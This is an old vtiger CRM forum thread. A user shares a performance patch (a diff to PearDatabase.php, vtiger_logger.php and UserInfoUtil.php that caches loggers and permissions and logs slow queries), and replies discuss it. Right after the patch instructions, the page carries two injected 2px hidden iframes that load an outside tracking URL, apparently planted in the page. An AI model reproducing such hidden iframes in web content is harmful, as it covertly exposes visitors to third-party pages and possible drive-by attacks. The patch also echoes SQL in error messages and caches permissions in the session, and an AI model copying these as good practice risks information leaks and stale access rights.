New optimizations to test

Folks, I have tumbled onto something Wonderful: xdebug. What a great debugging tool!

One feature it has is profiling, and I needed to speed up my system. The attached patch will speed up the system 100% (we went from 7.5s for a Potentials screen to load to 3s).

I basically did a few things:
1) In PearDatabase.php, only create a new logger the first call. Keep the logger global.
2) Don't log if using old connection (I don't know why we were!)
3) I now time each PearDatabase SQL statement and log if it takes over 0.5s. I'm looking for slow queries.
4) Made vtiger_logger use global version of log1. It was creating a logger every log message.
5) Made getTabsPermission() function use a SESSION variable, rather than hit the database each time. This function is called extensively, and hitting the database 1000 times per screen refresh.

Non performance mods I added (happen to be in same file):
1) I hate all the fatal PearDatabase errors in the log file. Changed level to info so I could filter out.
2) Added display of SQL statement to error messages for debugging purposes.
3) If fetch_array (the source if many calls to non-member objects) doesn't return an array, log the SQL statement.

To install this patch, put the file in your root vtiger directory. Next, you patch it by executing:
patch -p1 < optimizations.diff

Here's the patch:
diff U5wBi vtigerCRM-p2/include/database/PearDatabase&#46;php vtigerCRM/include/database/PearDatabase&#46;php
--- vtigerCRM-p2/include/database/PearDatabase&#46;php	Mon Jul 18 18&#58;26&#58;00 2005
+++ vtigerCRM/include/database/PearDatabase&#46;php	Mon Oct 31 17&#58;43&#58;37 2005
@@ -12,15 +12,16 @@
  * All Rights Reserved&#46;
  * Contributor&#40;s&#41;&#58; ______________________________________&#46;
  ********************************************************************************/
 
 require_once&#40;'include/logging&#46;php'&#41;;
-include&#40;'adodb/adodb&#46;inc&#46;php'&#41;;
+include_once&#40;'adodb/adodb&#46;inc&#46;php'&#41;;
 require_once&#40;&quot;adodb/adodb-xmlschema&#46;inc&#46;php&quot;&#41;;
 	
 		require_once&#40;'vtiger_logger&#46;php'&#41;;
 		global $vtlog;
+		if &#40; !$vtlog &#41;
 		$vtlog = new vtiger_logger&#40;&#41;;
 
 class PearDatabase&#123;
 	var $database = null;
 	var $dieOnError = false;
@@ -45,15 +46,15 @@
 	&#123;
 		require_once&#40;'include/logging&#46;php'&#41;;
 		$log1 =&amp; LoggerManager&#58;&#58;getLogger&#40;'VT'&#41;;
 		if&#40;is_array&#40;$msg&#41;&#41;
 		&#123;
-			$log1-&gt;fatal&#40;&quot;PearDatabse -&gt;&quot;&#46;print_r&#40;$msg,true&#41;&#41;;
+			$log1-&gt;info&#40;&quot;PearDatabse -&gt;&quot;&#46;print_r&#40;$msg,true&#41;&#41;;
 		&#125;
 		else
 		&#123;
-			$log1-&gt;fatal&#40;&quot;PearDatabase -&gt;&quot;&#46;$msg&#41;;
+			$log1-&gt;info&#40;&quot;PearDatabase -&gt;&quot;&#46;$msg&#41;;
 		&#125;
 		return $msg;
 	&#125;
 
 	function setDieOnError&#40;$value&#41;&#123;	
@@ -164,11 +165,11 @@
          		$this-&gt;println&#40;&quot;ADODB error &quot;&#46;$msg&#46;&quot;-&gt;&#91;&quot;&#46;$this-&gt;database-&gt;ErrorNo&#40;&#41;&#46;&quot;&#93;&quot;&#46;$this-&gt;database-&gt;ErrorMsg&#40;&#41;&#41;;	
 			die &#40;$msg&#46;&quot;ADODB error &quot;&#46;$msg&#46;&quot;-&gt;&quot;&#46;$this-&gt;database-&gt;ErrorMsg&#40;&#41;&#41;;
 		&#125;
 		else
 		&#123;
-			$this-&gt;println&#40;&quot;ADODB error &quot;&#46;$msg&#46;&quot;-&gt;&#91;&quot;&#46;$this-&gt;database-&gt;ErrorNo&#40;&#41;&#46;&quot;&#93;&quot;&#46;$this-&gt;database-&gt;ErrorMsg&#40;&#41;&#41;;
+			$this-&gt;println&#40;&quot;ADODB error &quot;&#46;$msg&#46;&quot;-&gt;&#91;&quot;&#46;$this-&gt;database-&gt;ErrorNo&#40;&#41;&#46;&quot;&#93;&quot;&#46;$this-&gt;database-&gt;ErrorMsg&#40;&#41;&#46;&quot; &#40;SQL=&quot;&#46;$this-&gt;sql&#46;&quot;&#41;&quot;&#41;;
 
 		&#125;
 		return false;
 	&#125;
 
@@ -203,11 +204,11 @@
 				$this-&gt;connect&#40;false&#41;;
 			&#125;
 			else
 			&#123;
 		//		$this-&gt;println&#40;&quot;checkconnect using old connection&quot;&#41;;
-				 $vtlog-&gt;logthis&#40;'checkconnect using old connection','info'&#41;;
+				 //$vtlog-&gt;logthis&#40;'checkconnect using old connection','info'&#41;;
 			&#125;
 	&#125;
 
 	/* ADODB converted	
 	function query&#40;$sql, $dieOnError=false, $msg=''&#41;&#123;
@@ -231,12 +232,17 @@
 	function query&#40;$sql, $dieOnError=false, $msg=''&#41;
 	&#123;
 		global $vtlog;
 		//$this-&gt;println&#40;&quot;ADODB query &quot;&#46;$sql&#41;;		
 		$vtlog-&gt;logthis&#40;'query being executed &#58; '&#46;$sql,'debug'&#41;;
+		$mytime&#91;&quot;start&quot;&#93; = $this-&gt;microtime_float&#40;&#41;;
 		$this-&gt;checkConnection&#40;&#41;;
 		$result = &amp; $this-&gt;database-&gt;Execute&#40;$sql&#41;;
+		$mytime&#91;&quot;execute&quot;&#93; = $this-&gt;microtime_float&#40;&#41;;
+		$mytime&#91;&quot;total&quot;&#93; = $mytime&#91;&quot;execute&quot;&#93;-$mytime&#91;&quot;start&quot;&#93;;
+		if &#40; $mytime&#91;&quot;total&quot;&#93; &gt; 0&#46;5 &#41;
+			$vtlog-&gt;logthis&#40;&quot;TIME&#58; sql statement $sql took &#123;$mytime&#91;'total'&#93;&#125; seconds&#46;&quot;,&quot;error&quot;&#41;;
 		$this-&gt;lastmysqlrow = -1;
 		if&#40;!$result&#41;$this-&gt;checkError&#40;$msg&#46;' Query Failed&#58;' &#46; $sql &#46; '&#58;&#58;', $dieOnError&#41;;
 		return $result;		
 	&#125;
 
@@ -421,17 +427,25 @@
 		if&#40;$result-&gt;EOF&#41;
 		&#123;
 			//$this-&gt;println&#40;&quot;ADODB fetch_array return null&quot;&#41;;
 			return NULL;
 		&#125;		
-		return $this-&gt;change_key_case&#40;$result-&gt;FetchRow&#40;&#41;&#41;;
+		$ret = @ $this-&gt;change_key_case&#40;$result-&gt;FetchRow&#40;&#41;&#41;;
+		if &#40; !is_array&#40;$ret&#41; &#41;
+		&#123;
+			$this-&gt;println&#40; &quot;ERROR&#58; SQL &#40;&quot;&#46;$this-&gt;sql&#46;&quot;&#41;&quot; &#41;;
+			$this-&gt;println&#40; print_r&#40;$result,1&#41; &#41;;
+			//die;
+		&#125;
+		return $ret;
 	&#125;
 
 	/* ADODB newly added&#46; replacement for mysql_result&#40;&#41; */
 
 	function query_result&#40;&amp;$result, $row, $col=0&#41;
 	&#123;		
+		if &#40; !$result &#41; return;
 		//$this-&gt;println&#40;&quot;ADODB query_result r=&quot;&#46;$row&#46;&quot; c=&quot;&#46;$col&#41;;
 		$result-&gt;Move&#40;$row&#41;;
 		$rowdata = $this-&gt;change_key_case&#40;$result-&gt;FetchRow&#40;&#41;&#41;;
 		//$this-&gt;println&#40;$rowdata&#41;;
 		$coldata = $rowdata&#91;$col&#93;;
@@ -932,11 +946,15 @@
     $this-&gt;checkConnection&#40;&#41;;
     $result = &amp; $this-&gt;database-&gt;MetaTables&#40;'TABLES'&#41;;
     $this-&gt;println&#40;$result&#41;;
     return $result;		
 &#125;
-
+function microtime_float&#40;&#41;
+&#123;
+   list&#40;$usec, $sec&#41; = explode&#40;&quot; &quot;, microtime&#40;&#41;&#41;;
+   return &#40;&#40;float&#41;$usec + &#40;float&#41;$sec&#41;;
+&#125;
 	
 &#125;
 
 $adb = new PearDatabase&#40;&#41;;
 $adb-&gt;connect&#40;&#41;;
diff U5wBi vtigerCRM-p2/vtiger_logger&#46;php vtigerCRM/vtiger_logger&#46;php
--- vtigerCRM-p2/vtiger_logger&#46;php	Tue Jun 28 16&#58;57&#58;00 2005
+++ vtigerCRM/vtiger_logger&#46;php	Mon Oct 31 16&#58;41&#58;51 2005
@@ -11,31 +11,33 @@
 
 
 class vtiger_logger&#123;
 
 	var $debug_status; 
+	var $log1;
 
 	function logthis&#40;$msg,$loglevel&#41;
         &#123;
 		if&#40;$this-&gt;debug_status&#41;
 		&#123;
                 	require_once&#40;'include/logging&#46;php'&#41;;
-                	$log1 =&amp; LoggerManager&#58;&#58;getLogger&#40;'VT'&#41;;
+				
                 	if&#40;is_array&#40;$msg&#41;&#41;
                 	&#123;
-                        	$log1-&gt;$loglevel&#40;&quot;Message&quot;&#46;print_r&#40;$msg,true&#41;&#41;;
+						$this-&gt;log1-&gt;$loglevel&#40;&quot;Message&quot;&#46;print_r&#40;$msg,true&#41;&#41;;
                 	&#125;
                 	else
                 	&#123;
-                        	$log1-&gt;$loglevel&#40;&quot;Message -&gt;&quot;&#46;$msg&#41;;
+						$this-&gt;log1-&gt;$loglevel&#40;&quot;Message -&gt;&quot;&#46;$msg&#41;;
                 	&#125;
                 	return $msg;
 		&#125;
         &#125;
 	function vtiger_logger&#40;&#41;
 	&#123;
 		$this-&gt;debug_status= true;
+		$this-&gt;log1 =&amp; LoggerManager&#58;&#58;getLogger&#40;'VT'&#41;;
 	&#125;
 
 &#125;
 
 ?&gt;
diff U5wBi vtigerCRM-p2/modules/Users/UserInfoUtil&#46;php vtigerCRM/modules/Users/UserInfoUtil&#46;php
--- vtigerCRM-p2/modules/Users/UserInfoUtil&#46;php	Wed Jul 13 16&#58;58&#58;00 2005
+++ vtigerCRM/modules/Users/UserInfoUtil&#46;php	Mon Oct 31 20&#58;14&#58;56 2005
@@ -77,49 +77,58 @@
         //echo 'count is ' &#46;count&#40;$result&#41;;
 	if&#40;$adb-&gt;num_rows&#40;$result&#41;!=0&#41;	$groupname=  $adb-&gt;query_result&#40;$result,0,&quot;groupname&quot;&#41;;
 	return $groupname;
 &#125;
 
-function getAllTabsPermission&#40;$profileid&#41;
+function loadAllPerms&#40;&#41;
 &#123;
 	global $adb,$MAX_TAB_PER;
+	global $persistPermArray;
+	
+	$persistPermArray = Array&#40;&#41;;
+	$profiles = Array&#40;&#41;;
+	$sql = &quot;select distinct profileid from profile2tab&quot;;
+	$result = $adb-&gt;query&#40;$sql&#41;;
+	$num_rows = $adb-&gt;num_rows&#40;$result&#41;;
+	for &#40; $i=0; $i &lt; $num_rows; $i++ &#41;
+		$profiles&#91;&#93; = $adb-&gt;query_result&#40;$result,$i,'profileid'&#41;;
+
+	foreach &#40; $profiles as $profileid &#41;
+	&#123;
 	$sql = &quot;select * from profile2tab where profileid=&quot; &#46;$profileid ;
 	$result = $adb-&gt;query&#40;$sql&#41;;
-	$tab_perr_array = Array&#40;&#41;;
+		$persistPermArray = Array&#40;&#41;;
 	if&#40;$MAX_TAB_PER !=''&#41;
 	&#123;
-		$tab_perr_array = array_fill&#40;0,$MAX_TAB_PER,0&#41;;
+			$persistPermArray&#91;$profileid&#93; = array_fill&#40;0,$MAX_TAB_PER,0&#41;;
 	&#125;
 	$num_rows = $adb-&gt;num_rows&#40;$result&#41;;
 	for&#40;$i=0; $i&lt;$num_rows; $i++&#41;
 	&#123;
 		$tabid= $adb-&gt;query_result&#40;$result,$i,'tabid'&#41;;
 		$tab_per= $adb-&gt;query_result&#40;$result,$i,'permissions'&#41;;
-		$tab_perr_array&#91;$tabid&#93; = $tab_per;
+			$persistPermArray&#91;$profileid&#93;&#91;$tabid&#93; = $tab_per;
+		&#125;		
+	&#125;
+	$_SESSION&#91;'vtPersistPermArray'&#93; = $persistPermArray;
 	&#125;		
-	return $tab_perr_array; 
 
+function getAllTabsPermission&#40;$profileid&#41;
+&#123;
+	if &#40; !isset&#40;$_SESSION&#91;'vtPersistPermArray'&#93;&#41; &#41;
+		loadAllPerms&#40;&#41;;
+	return $_SESSION&#91;'vtPersistPermArray'&#93;&#91;$profileid&#93;;
 &#125;
 
 function getTabsPermission&#40;$profileid&#41;
 &#123;
-	global $adb;
-	$sql = &quot;select * from profile2tab where profileid=&quot; &#46;$profileid ;
-	$result = $adb-&gt;query&#40;$sql&#41;;
-	$tab_perr_array = Array&#40;&#41;;
-	$num_rows = $adb-&gt;num_rows&#40;$result&#41;;
-	for&#40;$i=0; $i&lt;$num_rows; $i++&#41;
-	&#123;
-		$tabid= $adb-&gt;query_result&#40;$result,$i,'tabid'&#41;;
-		$tab_per= $adb-&gt;query_result&#40;$result,$i,'permissions'&#41;;
-		if&#40;$tabid != 1 &amp;&amp; $tabid != 3 &amp;&amp; $tabid != 16 &amp;&amp; $tab_id != 15 &amp;&amp; $tab_id != 17 &amp;&amp; $tab_id != 18 &amp;&amp; $tab_id != 19 &amp;&amp; $tab_id != 22&#41;
-		&#123;
-			$tab_perr_array&#91;$tabid&#93; = $tab_per;
-		&#125;
-	&#125;		
+	if &#40; !isset&#40;$_SESSION&#91;'vtPersistPermArray'&#93;&#41; &#41;
+		loadAllPerms&#40;&#41;;
+	$tab_perr_array = $_SESSION&#91;'vtPersistPermArray'&#93;&#91;$profileid&#93;;
+	foreach&#40; array&#40;1,3,16,15,17,18,19,22&#41; as $tabid &#41;
+		$tab_perr_array&#91;$tabid&#93; = 0;
 	return $tab_perr_array; 
-
 &#125;
 
 function getTabsActionPermission&#40;$profileid&#41;
 &#123;
 	global $adb;

Save that file as optimizations.diff. <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
«1

Comments

  • 20 Comments sorted by Votes Date Added
  • good work mike,

    xdebug is in fact a great tool for any big php project. together with kcachegrind or wincachegrind they make a wonderful combo for profilling.

    a couple of things though, the tab permissions i don't think it's a good idea to store them in the session. i can create some confusion if someone is changing the permission levels. we could either force a permission reload when they are changed (for all users) or just rework the queries so we cache the whole permissions at once in a static var (i already did this many months ago).

    for the failing sql queries i don't think they should be logged as info, fatal should be reserved for really serious events (when the script must halt) but a failing sql query should at least be reported as warning if not as error.

    ciao,
    ivan
  • hmm, interesting thoughts on the session variable. simple change to move that to a static variable instead. i guess the difference would be minimal. interesting.

    i think you miss my point in failing sql queries: in peardatabase, every message was logged as failing. not info messages. there was no test to determine if the query failed. that was done somewhere else. my log files were filling with peardatabase failure commands on working sql statements.

    i'm not altogether happy with the new vtlogger stuff. it seems that it was created to simplify logging, but most new logger entries don't categorize themselves. i think it has led to a certain laxity in logging.
  • realy impressive !
    my vtiger crm is now very speed !
  • added to vtiger'n go, with your patch, vtiger'n go is faster !
    great patch mike, thank you.
  • hi mike

    works fine!
    i'm a vtiger newbie. how can i apply your patch to my windows version of vtiger?
  • i'm a vtiger newbie. how can i apply your patch to my windows version of vtiger?

    run the patch on your suse install and then copy the affected files to your xp install? <!-- s:) --><img src="{smilies_path}/icon_smile.gif" alt=":)" title="smile" /><!-- s:) --> should be the same source code anyway.

    ps: works really nice here too!
  • "psv&quot wrote:
    i'm a vtiger newbie. how can i apply your patch to my windows version of vtiger?

    run the patch on your suse install and then copy the affected files to your xp install? <!-- s:) --><img src="{smilies_path}/icon_smile.gif" alt=":)" title="smile" /><!-- s:) --> should be the same source code anyway.

    ps: works really nice here too!

    i patched my suse install but i didn't wrote down the filenames. can i run the patch again?
  • actually, i think the only file being patched is ./include/peardatabase.php (look in the header of the diff file), try copying that over to your windows install.
  • sorry, just ran the patch on a different install:
    &#40;stripping trailing crs from patch&#46;&#41;
    patching file include/database/peardatabase&#46;php
    &#40;stripping trailing crs from patch&#46;&#41;
    patching file vtiger_logger&#46;php
    &#40;stripping trailing crs from patch&#46;&#41;
    patching file modules/users/userinfoutil&#46;php
    

    so those three files are affected on my system.
  • patched fine on my test machine running os x but on my gentoo linux box failed with:

    patching file include/database/peardatabase.php
    hunk #1 failed at 12.
    hunk #2 failed at 46.
    patch: **** malformed patch at line 43: ".$msg."->[".$this->database->errorno()."]".$this->database->errormsg());

    i simply copied the correct files from the os x box to the linux box and it seems to work.

    sorry i failed to back up the effected files on my linux box so i can't tell you what the problem is/was.
Sign In or Register to comment.